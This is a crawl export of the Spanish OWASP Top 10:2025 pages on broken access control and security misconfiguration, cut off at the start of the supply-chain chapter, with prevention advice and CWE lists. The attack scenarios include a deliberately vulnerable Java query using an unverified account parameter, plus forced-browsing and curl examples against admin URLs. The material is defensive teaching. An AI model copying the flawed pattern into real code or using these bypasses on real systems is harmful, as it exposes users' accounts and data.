brechas de seguridad críticas. Los evaluadores de penetración solo pueden determinar que han invocado la respuesta a incidentes en un entorno de prueba, que rara vez se monitorea de la misma manera que el de producción.\n\nHe aquí nuestras recomendaciones sobre cuándo es apropiado utilizar el OWASP Top 10:\n\n| **Caso de Uso** | **OWASP Top 10 2025** | **Estándar de Verificación de Seguridad de Aplicaciones de OWASP (ASVS)** |\n| --- | --- | --- |\n| Concienciación | Sí | |\n| Formación | Nivel de entrada | Integral |\n| Diseño y arquitectura | Ocasionalmente | Sí |\n| Estándar de codificación | Mínimo indispensable | Sí |\n| Revisión de Código Seguro | Mínimo indispensable | Sí |\n| Lista de comprobación de revisión por pares | Mínimo indispensable | Sí |\n| Pruebas unitarias | Ocasionalmente | Sí |\n| Pruebas de integración | Ocasionalmente | Sí |\n| Pruebas de penetración | Mínimo indispensable | Sí |\n| Soporte de herramientas | Mínimo indispensable | Sí |\n| Cadena de Suministro Segura | Ocasionalmente | Sí |\n\nAlentamos a cualquiera que desee adoptar un estándar de seguridad de aplicaciones a utilizar el [Estándar de Verificación de Seguridad de Aplicaciones (ASVS) de OWASP](https://owasp.org/www-project-application-security-verification-standard/), ya que está diseñado para ser verificable y probado, y puede utilizarse en todas las partes de un ciclo de vida de desarrollo seguro.\n\nEl ASVS es la única opción aceptable para los proveedores de herramientas. Las herramientas no pueden detectar, probar o proteger de forma integral contra el OWASP Top 10 debido a la naturaleza de varios de sus riesgos, con referencia a [A06:2025 - Diseño Inseguro](../A06_2025-Insecure_Design/). OWASP desaconseja cualquier afirmación de cobertura total del OWASP Top 10, porque es sencillamente falsa.", "znaku_textu": 18467, "slov": 2670, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:47", "sha256": "d7c290c150678ff205e89e3fac58d12429429d585420206a8f3537bd5d39c86a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://es.wikipedia.org/wiki/Base_de_datos_de_gesti%C3%B3n_de_configuraci%C3%B3n", "https://securitychampions.owasp.org/", "https://cheatsheetseries.owasp.org/index.html", "https://top10proactive.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/A01_2025-Broken_Access_Control/", "titulek": "A01 Control de Acceso Roto - OWASP Top 10:2025", "h1": "A01:2025 Pérdida de Control de Acceso (Broken Access Control)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/A01_2025-Broken_Access_Control/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2025 Pérdida de Control de Acceso (Broken Access Control)"}, {"uroven": 2, "text": "Antecedentes"}, {"uroven": 2, "text": "Tabla de puntuación"}, {"uroven": 2, "text": "Descripción"}, {"uroven": 2, "text": "Cómo prevenir"}, {"uroven": 2, "text": "Escenarios de ejemplo de ataque"}, {"uroven": 2, "text": "Referencias"}, {"uroven": 2, "text": "Lista de CWE Mapeados"}], "markdown": "# A01:2025 Pérdida de Control de Acceso (Broken Access Control)\n\n## Antecedentes\n\nManteniendo su posición en el #1 del Top Ten, se encontró que el 100% de las aplicaciones probadas tenían alguna forma de pérdida de control de acceso. Los CWE notables incluidos son *CWE-200: Exposición de Información Sensible a un Actor no Autorizado*, *CWE-201: Exposición de Información Sensible a Través de Datos Enviados*, *CWE-918: Falsificación de Solicitud del Lado del Servidor (SSRF)*, y *CWE-352: Falsificación de Solicitud en Sitios Cruzados (CSRF)*. Esta categoría tiene el mayor número de ocurrencias en los datos aportados y el segundo número más alto de CVE relacionados.\n\n## Tabla de puntuación\n\n| CWE Mapeados | Tasa de Incidencia Máx. | Tasa de Incidencia Prom. | Cobertura Máx. | Cobertura Prom. | Explotación Ponderada Prom. | Impacto Ponderado Prom. | Ocurrencias Totales | CVE Totales |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 20.15% | 3.74% | 100.00% | 42.93% | 7.04 | 3.84 | 1,839,701 | 32,654 |\n\n## Descripción\n\nEl control de acceso aplica políticas de tal manera que los usuarios no puedan actuar fuera de sus permisos previstos. Las fallas suelen conducir a la divulgación no autorizada de información, la modificación o destrucción de todos los datos, o la ejecución de una función de negocio fuera de los límites del usuario. Las vulnerabilidades comunes de control de acceso incluyen:\n\n- Violación del principio de mínimo privilegio, comúnmente conocido como denegar por defecto, donde el acceso solo debe otorgarse para capacidades, roles o usuarios específicos, pero está disponible para cualquier persona.\n- Elusión de los controles de acceso mediante la modificación de la URL (manipulación de parámetros o navegación forzada), el estado interno de la aplicación o la página HTML, o mediante el uso de una herramienta de ataque que modifique las solicitudes a la API.\n- Permitir ver o editar la cuenta de otra persona proporcionando su identificador único (referencias directas inseguras a objetos o Insecure Direct Object References, IDOR).\n- Una API accesible con falta de controles de acceso para POST, PUT y DELETE.\n- Elevación de privilegio. Actuar como un usuario sin haber iniciado sesión o ganar privilegios más allá de los esperados para el usuario autenticado (por ejemplo, acceso de administrador).\n- Manipulación de metadatos, como la repetición o manipulación de un token de control de acceso JSON Web Token (JWT), una cookie o un campo oculto manipulado para elevar privilegios, o el abuso de la invalidación de JWT.\n- La desconfiguración de CORS permite el acceso a la API desde orígenes no autorizados o no confiables.\n- Navegación forzada (adivinar URLs) hacia páginas autenticadas como un usuario no autenticado o hacia páginas privilegiadas como un usuario estándar.\n\n## Cómo prevenir\n\nEl control de acceso solo es efectivo cuando se implementa en código del lado del servidor de confianza o en APIs sin servidor (serverless), donde el atacante no puede modificar la comprobación del control de acceso o los metadatos.\n\n- Excepto para recursos públicos, denegar por defecto.\n- Implementar mecanismos de control de acceso una sola vez y reutilizarlos en toda la aplicación, incluyendo la minimización del uso del Intercambio de Recursos de Origen Cruzado (Cross-Origin Resource Sharing, CORS).\n- Los controles de acceso del modelo deben imponer la propiedad de los registros en lugar de permitir que los usuarios creen, lean, actualicen o eliminen cualquier registro.\n- Los requisitos únicos de límites de negocio de la aplicación deben ser aplicados por los modelos de dominio.\n- Desactivar el listado de directorios del servidor web y asegurarse de que los metadatos de los archivos (por ejemplo, .git) y los archivos de respaldo no estén presentes dentro de las raíces web.\n- Registrar las fallas de control de acceso, alertar a los administradores cuando sea apropiado (por ejemplo: fallas repetidas).\n- Implementar límites de tasa (límites de velocidad - rate limits) en el acceso a la API y a los controladores para minimizar el daño de las herramientas de ataque automatizadas.\n- Los identificadores de sesión con estado deben invalidarse en el servidor tras el cierre de sesión. Los tokens JWT sin estado deben ser de corta duración para minimizar la ventana de oportunidad de un atacante. Para JWT de mayor duración, considere el uso de tokens de actualización (refresh tokens) y siga los estándares de OAuth para revocar el acceso.\n- Utilizar kits de herramientas o patrones bien establecidos que proporcionen controles de acceso sencillos y declarativos.\n\nLos desarrolladores y el personal de control de calidad (QA) deben incluir el control de acceso funcional en sus pruebas unitarias y de integración.\n\n## Escenarios de ejemplo de ataque\n\n**Escenario #1:** La aplicación utiliza datos no verificados en una llamada SQL que accede a la información de la cuenta:\n\n```\npstmt.setString(1, request.getParameter(\"acct\"));\nResultSet results = pstmt.executeQuery( );\n```\n\nUn atacante puede simplemente modificar el parámetro 'acct' del navegador para enviar cualquier número de cuenta deseado. Si no se verifica correctamente, el atacante puede acceder a la cuenta de cualquier usuario.\n\n```\nhttps://example.com/app/accountInfo?acct=notmyacct\n```\n\n**Escenario #2:** Un atacante simplemente fuerza a los navegadores a dirigirse a URLs específicas. Se requieren derechos de administrador para acceder a la página de administración.\n\n```\nhttps://example.com/app/getappInfo\nhttps://example.com/app/admin_getappInfo\n```\n\nSi un usuario no autenticado puede acceder a cualquiera de las páginas, es una falla. Si un usuario que no es administrador puede acceder a la página de administración, esto es una falla.\n\n**Escenario #3:** Una aplicación pone todo su control de acceso en su front-end. Aunque el atacante no puede llegar a `https://example.com/app/admin_getappInfo` debido al código JavaScript que se ejecuta en el navegador, simplemente puede ejecutar:\n\n```\n$ curl https://example.com/app/admin_getappInfo\n```\n\ndesde la línea de comandos.\n\n## Referencias\n\n- [Controles Proactivos de OWASP: C1: Implementar Control de Acceso](https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/)\n- [Estándar de Verificación de Seguridad en Aplicaciones de OWASP: V8 Autorización](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md)\n- [Guía de Pruebas de OWASP: Pruebas de Autorización](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [Guía de referencia rápida de OWASP: Autorización](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [PortSwigger: Explotación de la desconfiguración de CORS](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)\n- [OAuth: Revocación de Acceso](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)\n\n## Lista de CWE Mapeados\n\n- [CWE-22 Limitación Inadecuada de un Nombre de Ruta a un Directorio Restringido ('Salto de Directorio' / 'Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-23 Salto de Directorio Relativo (Relative Path Traversal)](https://cwe.mitre.org/data/definitions/23.html)\n- [CWE-36 Salto de Directorio Absoluto (Absolute Path Traversal)](https://cwe.mitre.org/data/definitions/36.html)\n- [CWE-59 Resolución de Enlace Inadecuada Antes del Acceso al Archivo ('Seguimiento de Enlaces') (Improper Link Resolution Before File Access ('Link Following'))](https://cwe.mitre.org/data/definitions/59.html)\n- [CWE-61 Seguimiento de Enlaces Simbólicos (Symlink) en UNIX (UNIX Symbolic Link (Symlink) Following)](https://cwe.mitre.org/data/definitions/61.html)\n- [CWE-65 Enlace Rígido en Windows (Windows Hard Link)](https://cwe.mitre.org/data/definitions/65.html)\n- [CWE-200 Exposición de Información Sensible a un Actor no Autorizado (Exposure of Sensitive Information to an Unauthorized Actor)](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-201 Exposición de Información Sensible a Través de Datos Enviados (Insertion of Sensitive Information Into Sent Data)](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-219 Almacenamiento de Archivo con Datos Sensibles Bajo la Raíz Web (Storage of File with Sensitive Data Under Web Root)](https://cwe.mitre.org/data/definitions/219.html)\n- [CWE-276 Permisos por Defecto Incorrectos (Incorrect Default Permissions)](https://cwe.mitre.org/data/definitions/276.html)\n- [CWE-281 Preservación Inadecuada de Permisos (Improper Preservation of Permissions)](https://cwe.mitre.org/data/definitions/281.html)\n- [CWE-282 Gestión Inadecuada de la Propiedad (Improper Ownership Management)](https://cwe.mitre.org/data/definitions/282.html)\n- [CWE-283 Propiedad no Verificada (Unverified Ownership)](https://cwe.mitre.org/data/definitions/283.html)\n- [CWE-284 Control de Acceso Inadecuado (Improper Access Control)](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285 Autorización Inadecuada (Improper Authorization)](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-352 Falsificación de Solicitud en Sitios Cruzados (Cross-Site Request Forgery (CSRF))](https://cwe.mitre.org/data/definitions/352.html)\n- [CWE-359 Exposición de Información Personal Privada a un Actor no Autorizado (Exposure of Private Personal Information to an Unauthorized Actor)](https://cwe.mitre.org/data/definitions/359.html)\n- [CWE-377 Archivo Temporal Inseguro (Insecure Temporary File)](https://cwe.mitre.org/data/definitions/377.html)\n- [CWE-379 Creación de Archivo Temporal en Directorio con Permisos Inseguros (Creation of Temporary File in Directory with Insecure Permissions)](https://cwe.mitre.org/data/definitions/379.html)\n- [CWE-402 Transmisión de Recursos Privados a una Nueva Esfera ('Fuga de Recursos') (Transmission of Private Resources into a New Sphere ('Resource Leak'))](https://cwe.mitre.org/data/definitions/402.html)\n- [CWE-424 Protección Inadecuada de Ruta Alternativa (Improper Protection of Alternate Path)](https://cwe.mitre.org/data/definitions/424.html)\n- [CWE-425 Solicitud Directa ('Navegación Forzada' o 'Forced Browsing') (Direct Request ('Forced Browsing'))](https://cwe.mitre.org/data/definitions/425.html)\n- [CWE-441 Proxy o Intermediario no Intencionado ('Confused Deputy') (Unintended Proxy or Intermediary ('Confused Deputy'))](https://cwe.mitre.org/data/definitions/441.html)\n- [CWE-497 Exposición de Información Sensible del Sistema a una Esfera de Control no Autorizada (Exposure of Sensitive System Information to an Unauthorized Control Sphere)](https://cwe.mitre.org/data/definitions/497.html)\n- [CWE-538 Inserción de Información Sensible en un Archivo o Directorio Accesible Externamente (Insertion of Sensitive Information into Externally-Accessible File or Directory)](https://cwe.mitre.org/data/definitions/538.html)\n- [CWE-540 Inclusión de Información Sensible en el Código Fuente (Inclusion of Sensitive Information in Source Code)](https://cwe.mitre.org/data/definitions/540.html)\n- [CWE-548 Exposición de Información a Través del Listado de Directorios (Exposure of Information Through Directory Listing)](https://cwe.mitre.org/data/definitions/548.html)\n- [CWE-552 Archivos o Directorios Accesibles a Partes Externas (Files or Directories Accessible to External Parties)](https://cwe.mitre.org/data/definitions/552.html)\n- [CWE-566 Elusión de Autorización a Través de una Clave Primaria SQL Controlada por el Usuario (Authorization Bypass Through User-Controlled SQL Primary Key)](https://cwe.mitre.org/data/definitions/566.html)\n- [CWE-601 Redirección de URL a un Sitio no Confiable ('Redirección Abierta' u 'Open Redirect') (URL Redirection to Untrusted Site ('Open Redirect'))](https://cwe.mitre.org/data/definitions/601.html)\n- [CWE-615 Inclusión de Información Sensible en los Comentarios del Código Fuente (Inclusion of Sensitive Information in Source Code Comments)](https://cwe.mitre.org/data/definitions/615.html)\n- [CWE-639 Elusión de Autorización a Través de una Clave Controlada por el Usuario (Authorization Bypass Through User-Controlled Key)](https://cwe.mitre.org/data/definitions/639.html)\n- [CWE-668 Exposición de un Recurso a la Esfera Equivocada (Exposure of Resource to Wrong Sphere)](https://cwe.mitre.org/data/definitions/668.html)\n- [CWE-732 Asignación Incorrecta de Permisos para un Recurso Crítico (Incorrect Permission Assignment for Critical Resource)](https://cwe.mitre.org/data/definitions/732.html)\n- [CWE-749 Método o Función Peligrosa Expuesta (Exposed Dangerous Method or Function)](https://cwe.mitre.org/data/definitions/749.html)\n- [CWE-862 Falta de Autorización (Missing Authorization)](https://cwe.mitre.org/data/definitions/862.html)\n- [CWE-863 Autorización Incorrecta (Incorrect Authorization)](https://cwe.mitre.org/data/definitions/863.html)\n- [CWE-918 Falsificación de Solicitud del Lado del Servidor (Server-Side Request Forgery (SSRF))](https://cwe.mitre.org/data/definitions/918.html)\n- [CWE-922 Almacenamiento Inseguro de Información Sensible (Insecure Storage of Sensitive Information)](https://cwe.mitre.org/data/definitions/922.html)\n- [CWE-1275 Cookie Sensible con Atributo SameSite Incorrecto (Sensitive Cookie with Improper SameSite Attribute)](https://cwe.mitre.org/data/definitions/1275.html)", "znaku_textu": 13140, "slov": 1563, "odkazu": 81, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:48", "sha256": "0648eee401872f43d0d8b4b689e347e7471586ab438e42f487070a5709251050", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/", "https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties", "https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/36.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/61.html", "https://cwe.mitre.org/data/definitions/65.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/281.html", "https://cwe.mitre.org/data/definitions/282.html", "https://cwe.mitre.org/data/definitions/283.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/379.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/424.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/615.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/732.html", "https://cwe.mitre.org/data/definitions/749.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/918.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/A02_2025-Security_Misconfiguration/", "titulek": "A02 Configuración de Seguridad Incorrecta - OWASP Top 10:2025", "h1": "A02:2025 Configuración de Seguridad Incorrecta (Security Misconfiguration)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/A02_2025-Security_Misconfiguration/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2025 Configuración de Seguridad Incorrecta (Security Misconfiguration)"}, {"uroven": 2, "text": "Antecedentes"}, {"uroven": 2, "text": "Tabla de puntuación"}, {"uroven": 2, "text": "Descripción"}, {"uroven": 2, "text": "Cómo prevenir"}, {"uroven": 2, "text": "Escenarios de ejemplo de ataque"}, {"uroven": 2, "text": "Referencias"}, {"uroven": 2, "text": "Lista de CWE Mapeados"}], "markdown": "# A02:2025 Configuración de Seguridad Incorrecta (Security Misconfiguration)\n\n## Antecedentes\n\nSubiendo desde el #5 en la edición anterior, se encontró que el 100% de las aplicaciones probadas tenían alguna forma de desconfiguración, con una tasa de incidencia promedio del 3.00% y más de 719k ocurrencias de CWE (Common Weakness Enumeration) (enumeración de Debilidades Comunes) en esta categoría de riesgo. Con el aumento del software altamente configurable, no es sorprendente ver que esta categoría ascienda. Los CWE notables incluidos son *CWE-16: Configuración* y *CWE-611: Restricción Inadecuada de Referencias a Entidades Externas XML (XML External Entity, XXE)*.\n\n## Tabla de puntuación\n\n| CWE Mapeados | Tasa de Incidencia Máx. | Tasa de Incidencia Prom. | Cobertura Máx. | Cobertura Prom. | Explotación Ponderada Prom. | Impacto Ponderado Prom. | Ocurrencias Totales | CVE Totales |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 16 | 27.70% | 3.00% | 100.00% | 52.35% | 7.96 | 3.97 | 719,084 | 1,375 |\n\n## Descripción\n\nLa configuración de seguridad incorrecta ocurre cuando un sistema, aplicación o servicio en la nube se configura incorrectamente desde una perspectiva de seguridad, creando vulnerabilidades.\n\nLa aplicación podría ser vulnerable si:\n\n- Carece de un bastionado (hardening) de seguridad adecuado en cualquier parte de la pila de la aplicación o tiene permisos configurados incorrectamente en los servicios en la nube.\n- Hay funciones innecesarias habilitadas o instaladas (por ejemplo, puertos, servicios, páginas, cuentas, marcos de prueba o privilegios innecesarios).\n- Las cuentas predeterminadas y sus contraseñas siguen habilitadas y sin cambios.\n- Falta una configuración central para interceptar mensajes de error excesivos. El manejo de errores revela trazas de la pila (stack traces) u otros mensajes de error demasiado informativos a los usuarios.\n- Para los sistemas actualizados, las últimas funciones de seguridad están desactivadas o no están configuradas de forma segura.\n- Existe una priorización excesiva de la compatibilidad hacia atrás que conduce a una configuración insegura.\n- Los ajustes de seguridad en los servidores de aplicaciones, frameworks de aplicaciones (por ejemplo, Struts, Spring, ASP.NET), bibliotecas, bases de datos, etc., no están establecidos en valores seguros.\n- El servidor no envía cabeceras o directivas de seguridad, o estas no están establecidas en valores seguros.\n\nSin un proceso de bastionado (hardening) de la configuración de seguridad de las aplicaciones que sea concertado y repetible, los sistemas corren un mayor riesgo.\n\n## Cómo prevenir\n\nDeben implementarse procesos de instalación seguros, que incluyan:\n\n- Un proceso de bastionado (hardening) repetible que permita el despliegue rápido y sencillo de otro entorno que esté bloqueado adecuadamente. Los entornos de desarrollo, QA y producción deben estar configurados de forma idéntica, con credenciales diferentes en cada uno. Este proceso debe estar automatizado para minimizar el esfuerzo requerido para configurar un nuevo entorno seguro.\n- Una plataforma mínima sin funciones, componentes, documentación o ejemplos innecesarios. Elimine o no instale funciones y frameworks que no utilice.\n- Una tarea para revisar y actualizar las configuraciones de acuerdo con todas las notas de seguridad, actualizaciones y parches como parte del proceso de gestión de parches (consulte [A03 Fallas en la Cadena de Suministro de Software](../A03_2025-Software_Supply_Chain_Failures/) (Software Supply Chain Failures)). Revise los permisos de almacenamiento en la nube (por ejemplo, los permisos de los cubos S3).\n- Una arquitectura de aplicación segmentada que proporcione una separación efectiva y segura entre componentes o inquilinos (tenants), con segmentación, contenedorización o grupos de seguridad en la nube (ACLs).\n- Envío de directivas de seguridad a los clientes, por ejemplo, Cabeceras de Seguridad (Security Headers).\n- Un proceso automatizado para verificar la eficacia de las configuraciones y ajustes en todos los entornos.\n- Añadir proactivamente una configuración central para interceptar mensajes de error excesivos como medida de respaldo.\n- Si estas verificaciones no están automatizadas, deben verificarse manualmente al menos una vez al año.\n- Utilizar federación de identidades, credenciales de corta duración o mecanismos de acceso basados en roles proporcionados por la plataforma subyacente en lugar de incrustar claves estáticas o secretos en el código, los archivos de configuración o los flujos de trabajo (pipelines).\n\n## Escenarios de ejemplo de ataque\n\n**Escenario #1:** El servidor de aplicaciones viene con aplicaciones de ejemplo que no se eliminaron del servidor de producción. Estas aplicaciones de ejemplo tienen fallas de seguridad conocidas que los atacantes utilizan para comprometer el servidor. Supongamos que una de estas aplicaciones es la consola de administración y las cuentas predeterminadas no se cambiaron. En ese caso, el atacante inicia sesión con la contraseña predeterminada y toma el control.\n\n**Escenario #2:** El listado de directorios no está desactivado en el servidor. Un atacante descubre que puede simplemente listar los directorios. El atacante encuentra y descarga las clases Java compiladas, las cuales descompila y les aplica ingeniería inversa para ver el código. El atacante encuentra entonces una falla grave de control de acceso en la aplicación.\n\n**Escenario #3:** La configuración del servidor de aplicaciones permite que se devuelvan mensajes de error detallados, como trazas de la pila, a los usuarios. Esto expone potencialmente información sensible o fallas subyacentes, como versiones de componentes que se sabe que son vulnerables.\n\n**Escenario #4:** Un proveedor de servicios en la nube (CSP) tiene por defecto permisos de compartición abiertos a Internet. Esto permite el acceso a datos sensibles almacenados en el almacenamiento en la nube.\n\n## Referencias\n\n- [Guía de Pruebas de OWASP: Gestión de la Configuración](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [Guía de Pruebas de OWASP: Pruebas de Códigos de Error](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Estándar de Verificación de Seguridad en Aplicaciones V13 Configuración] (OWASP Application Security Verification Standard (ASVS)) (https://github.com/OWASP/ASVS/blob/master/5.0/en/0x22-V13-Configuration.md)\n- [Guía de NIST para el Bastionado General de Servidores](Guide to General Server Security) (https://csrc.nist.gov/publications/detail/sp/800-123/final)\n- [Guías/Benchmarks de Configuración de Seguridad de CIS] (CIS Benchmarks List)(https://www.cisecurity.org/cis-benchmarks/)\n- [Descubrimiento y Enumeración de Cubos Amazon S3](AWS S3 Bucket Discovery) (https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)\n- ScienceDirect: Security Misconfiguration\n\n## Lista de CWE Mapeados\n\n- [CWE-5 Configuración Incorrecta de J2EE: Transmisión de Datos Sin Cifrado (J2EE Misconfiguration: Data Transmission Without Encryption)](https://cwe.mitre.org/data/definitions/5.html)\n- [CWE-11 Configuración Incorrecta de ASP.NET: Creación de Binario de Depuración (ASP.NET Misconfiguration: Creating Debug Binary)](https://cwe.mitre.org/data/definitions/11.html)\n- [CWE-13 Configuración Incorrecta de ASP.NET: Contraseña en Archivo de Configuración (ASP.NET Misconfiguration: Password in Configuration File)](https://cwe.mitre.org/data/definitions/13.html)\n- [CWE-15 Control Externo del Sistema o del Ajuste de la Configuración (External Control of System or Configuration Setting)](https://cwe.mitre.org/data/definitions/15.html)\n- [CWE-16 Configuración (Configuration)](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-260 Contraseña en Archivo de Configuración (Password in Configuration File)](https://cwe.mitre.org/data/definitions/260.html)\n- [CWE-315 Almacenamiento en Texto Plano de Información Sensible en una Cookie (Cleartext Storage of Sensitive Information in a Cookie)](https://cwe.mitre.org/data/definitions/315.html)\n- [CWE-489 Código de Depuración Activo (Active Debug Code)](https://cwe.mitre.org/data/definitions/489.html)\n- [CWE-526 Exposición de Información Sensible a Través de Variables de Entorno (Exposure of Sensitive Information Through Environmental Variables)](https://cwe.mitre.org/data/definitions/526.html)\n- [CWE-547 Uso de Constantes Relevantes para la Seguridad quemadas en el código (harcodeadas)\n (Use of Hard-coded, Security-relevant Constants)](https://cwe.mitre.org/data/definitions/547.html)\n- [CWE-611 Restricción Inadecuada de Referencias a Entidades Externas XML (Improper Restriction of XML External Entity Reference)](https://cwe.mitre.org/data/definitions/611.html)\n- [CWE-614 Cookie Sensible en Sesión HTTPS sin el Atributo 'Secure' (Sensitive Cookie in HTTPS Session Without 'Secure' Attribute)](https://cwe.mitre.org/data/definitions/614.html)\n- [CWE-776 Restricción Inadecuada de Referencias a Entidades Recursivas en DTDs ('Expansión de Entidades XML') (Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion'))](https://cwe.mitre.org/data/definitions/776.html)\n- [CWE-942 Política de Seguridad entre Dominios Permisiva con Dominios No Confiables (Permissive Cross-domain Policy with Untrusted Domains)](https://cwe.mitre.org/data/definitions/942.html)\n- [CWE-1004 Cookie Confidencial sin el Indicador 'HttpOnly' (Sensitive Cookie Without 'HttpOnly' Flag)](https://cwe.mitre.org/data/definitions/1004.html)\n- [CWE-1174 Configuración Incorrecta de ASP.NET: Validación de Modelo Inadecuada (ASP.NET Misconfiguration: Improper Model Validation)](https://cwe.mitre.org/data/definitions/1174.html)", "znaku_textu": 9720, "slov": 1195, "odkazu": 55, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:49", "sha256": "e08b556f5d40d166b1448ecbe540487025856e5c64f50dc129088e9f400a59ec", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/data/definitions/5.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/489.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1174.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/es/A03_2025-Software_Supply_Chain_Failures/", "titulek": "A03 Fallos en la Cadena de Suministro de Software - OWASP Top 10:2025", "h1": "A03:2025 Fallas en la Cadena de Suministro de Software (Software Supply Chain Failures)", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/es/A03_2025-Software_Supply_Chain_Failures/", "jazyk": "es", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2025 Fallas en la Cadena de Suministro de Software (Software Supply Chain Failures)"}, {"uroven": 2, "text": "Antecedentes"}, {"uroven": 2, "text": "Tabla de puntuación"}, {"uroven": 2, "text": "Descripción"}, {"uroven": 2, "text": "Cómo prevenir"}, {"uroven": 2, "text": "Escenarios de ejemplo de ataque"}, {"uroven": 2, "text": "Referencias"}, {"uroven": 2, "text": "Lista de CWE Mapeados"}], "markdown": "# A03:2025 Fallas en la Cadena de Suministro de Software (Software Supply Chain Failures)\n\n## 